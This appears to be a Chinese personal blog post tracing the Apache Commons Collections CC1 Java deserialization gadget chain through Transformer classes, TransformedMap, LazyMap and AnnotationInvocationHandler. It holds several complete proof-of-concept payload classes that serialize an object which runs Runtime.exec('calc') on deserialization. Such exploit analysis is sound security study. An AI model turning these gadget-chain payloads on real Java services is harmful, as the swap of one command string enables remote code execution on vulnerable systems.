组件介绍 Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象,它提供了很多强有⼒的数据结构类型并且实现了各种集合工具类。
作为Apache开源项⽬的重要组件,Commons Collections被⼴泛应⽤于各种Java应⽤的开发,⽽正 是因为在⼤量web应⽤程序中这些类的实现以及⽅法的调⽤,导致了反序列化漏洞的普遍性和严重性。
Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer。
环境
CommonsCollections <= 3.2.1
java < 8u71
调用栈 1 2 3 4 5 6 7 8 ->AnnotationInvocationHandler.readObject() ->mapProxy.entrySet().iterator() //动态代理类 ->AnnotationInvocationHandler.invoke() ->LazyMap.get() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->…………
CC链 利用过程分析 1 2 3 4 5 package org.apache.commons.collections; public interface Transformer { Object transform(Object var1); }
提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)
ctrl+alt+B可以快速查看哪些类实现了该接口
看一些重要的类
关键代码如下
1 2 3 public Object transform(Object input) { return this.iConstant; }
接受一个对象返回一个常量,无论接收什么对象都返回 iConstant
这个常量在构造函数当中
1 2 3 public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; }
当传⼊的参数是⼀个数组的时候,就开始循环读取,对每个参数调⽤ transform ⽅法,从⽽构造出 ⼀条链。
它赋值时会传入一个要调用方法的数组,然后将传入的方法链式(前一个的输出作后一个的输入)调用。
1 2 3 4 5 6 7 8 9 10 public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers[i].transform(object); } return object; }
我们先看一下它的 transform 方法,传入一个对象,然后反射调用。方法值,参数类型,参数都是可控的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var4) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var6); } } }
为什么说是可控的呢?我们看它的构造方法就会明白。
1 2 3 4 5 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
例子1 利用该方法弹出计算器
1 2 3 4 5 6 7 8 import org.apache.commons.collections.functors.InvokerTransformer; public class demo01 { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); } }
这里为 InvokerTransformer 类中的 transform 方法传入Runtime实例,同时通过构造方法传入了exec方法以及需要的参数类型(String.class)和参数值(calc),我们之前提到了 transform 方法中的反射调用,所以成功弹出计算器。
所以我们下一步就需要向上一层寻找谁调用了InvokerTransformer 类中的 transform 方法
右键 Find Usages 查看调用,寻找不同名字调用的 transform 方法,如果是transform 再调用 transform 是没有意义的,我们最后的目标是要回到 readObject 中。
最终是可以发现Map类中可以入手的(前辈们找到的)
该类有这样一个方法
1 2 3 protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }
构造方法
1 2 3 4 5 protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
我们可以根据构造函数理解一下TransformedMap 的功能,接收一个Map进来,分别对 key 和 Value 进行一些操作。
因为构造方法是 protected 保护方法
所以我们可以找到在该类中调用它的方法 decorate
1 2 3 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }
我们再寻找那个方法调用了checkSetValue 方法。只有一处调用,setValue 方法调用了 checkSetValue。
唯一一处调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
我们可以发现 AbstractInputCheckedMapDecorator 是 TransformedMap的父类。
这里需要我们理解一下(再去翻代码是有一些繁琐的)
MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。
TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map时,setValue方法也就执行了。(Entry接口是Map接口中的一个接口,而Entry方法中含有setValue函数)
发现这一点的话,我们就可以通过遍历Map来触发代码的执行。
例子2 写一个例子帮助理解一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class demo01 { public static void main(String[] args) throws Exception { Runtime runtime = Runtime.getRuntime(); InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}); // 以下步骤就相当于 invokerTransformer.transform(runtime); HashMap<Object, Object> map = new HashMap<>(); map.put("key","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); // 遍历Map——checkSetValue(Object value)只处理了value,所以我们只需要将runtime传入value即可 for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(runtime); } } }
AnnotationInvocationHandler类 回到本职工作,我们再寻找谁调用的setValue 方法,还是不同名的方法调用。
可以在这个类中发现它的readObject方法调用了setvalue方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); // Check to make sure that types have not evolved incompatibly AnnotationType annotationType = null; try { annotationType = AnnotationType.getInstance(type); } catch(IllegalArgumentException e) { // Class is no longer an annotation type; time to punch out throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream"); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); } }
回归正题 接下来我们分析 AnnotationInvocationHandler 类,需要注意的时他不是public,只能在所属包下访问到,所以我们通过反射获取。
先看一下构造函数,接收两个参数 class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
例子3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap; import java.util.Map; public class demo01 { public static void main(String[] args) throws Exception { //演示demo,省略部分代码,通过以下代码我们就可以获得AnnotationInvocationHandler对象 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //创建构造器 Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); //保证可以访问到 annotationInvocationHandlerConstructor.setAccessible(true); //实例化传参,注解和构造好的Map Object o = annotationInvocationHandlerConstructor.newInstance(Override.class, transformedMap); //正常序列化与反序列化 serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 package cc1; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.Method; import java.util.HashMap; import java.util.Map; public class demo01 { public static void main(String[] args) throws Exception { // //正常获取runtime实例 // Runtime runtime = Runtime.getRuntime(); // //反射获取 runtime实例,并执行代码 // Class c = Runtime.class; // Method getRuntimeMethod = c.getMethod("getRuntime", null); // Runtime runtime = (Runtime) getRuntimeMethod.invoke(null, null); // Method execMethod = c.getMethod("exec", String.class); // execMethod.invoke(runtime,"calc"); // //InvokerTransformer方法获取runtime实例,并执行代码 // Method getRuntimeMethod = (Method) new InvokerTransformer("getRuntime", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(Runtime.class); // Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); // new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime); //通过ChainedTransformer实现 InvokerTransformer方法获取runtime实例,并执行代码 Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap<>(); map.put("value","value"); Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); //创建构造器 Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class, Map.class); //保证可以访问到 annotationInvocationHandlerConstructor.setAccessible(true); //实例化传参,注解和构造好的Map Object o = annotationInvocationHandlerConstructor.newInstance(Target.class, transformedMap); serialize(o); unserialize("ser.bin"); } public static void serialize(Object obj) throws Exception { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws Exception { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
这个未成功
还有这样一个payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Retention; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.HashMap; import java.util.Map; public class demo01 { public static void main(String[] args) { //Transformer数组 System.setProperty("org.apache.commons.collections.enableUnsafeSerialization", "true"); Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; //ChainedTransformer实例 Transformer chainedTransformer = new ChainedTransformer(transformers); //LazyMap实例 Map uselessMap = new HashMap(); Map lazyMap = LazyMap.decorate(uselessMap,chainedTransformer); try { //反射获取AnnotationInvocationHandler实例 Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap); //动态代理类,设置一个D代理对象,为了触发 AnnotationInvocationHandler#invoke Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), handler); InvocationHandler handler1 = (InvocationHandler) constructor.newInstance(Retention.class, mapProxy); //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(handler1); oos.flush(); oos.close(); //测试反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); } catch (Exception e) { e.printStackTrace(); } } }
这个payload是利用动态代理触发AnnotationInvocationHandler的invoke方法从而调用LazyMap的get方法实现的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke(Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); // Handle Object and Annotation methods if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class) return equalsImpl(args[0]); if (paramTypes.length != 0) throw new AssertionError("Too many parameters for an annotation method"); switch(member) { case "toString": return toStringImpl(); case "hashCode": return hashCodeImpl(); case "annotationType": return type; } // Handle annotation member accessors Object result = memberValues.get(member); if (result == null) throw new IncompleteAnnotationException(type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0) result = cloneArray(result); return result; }
java类加载
java_cc链2
© 2024 ycxlo
Powered by Hexo & NexT.Muse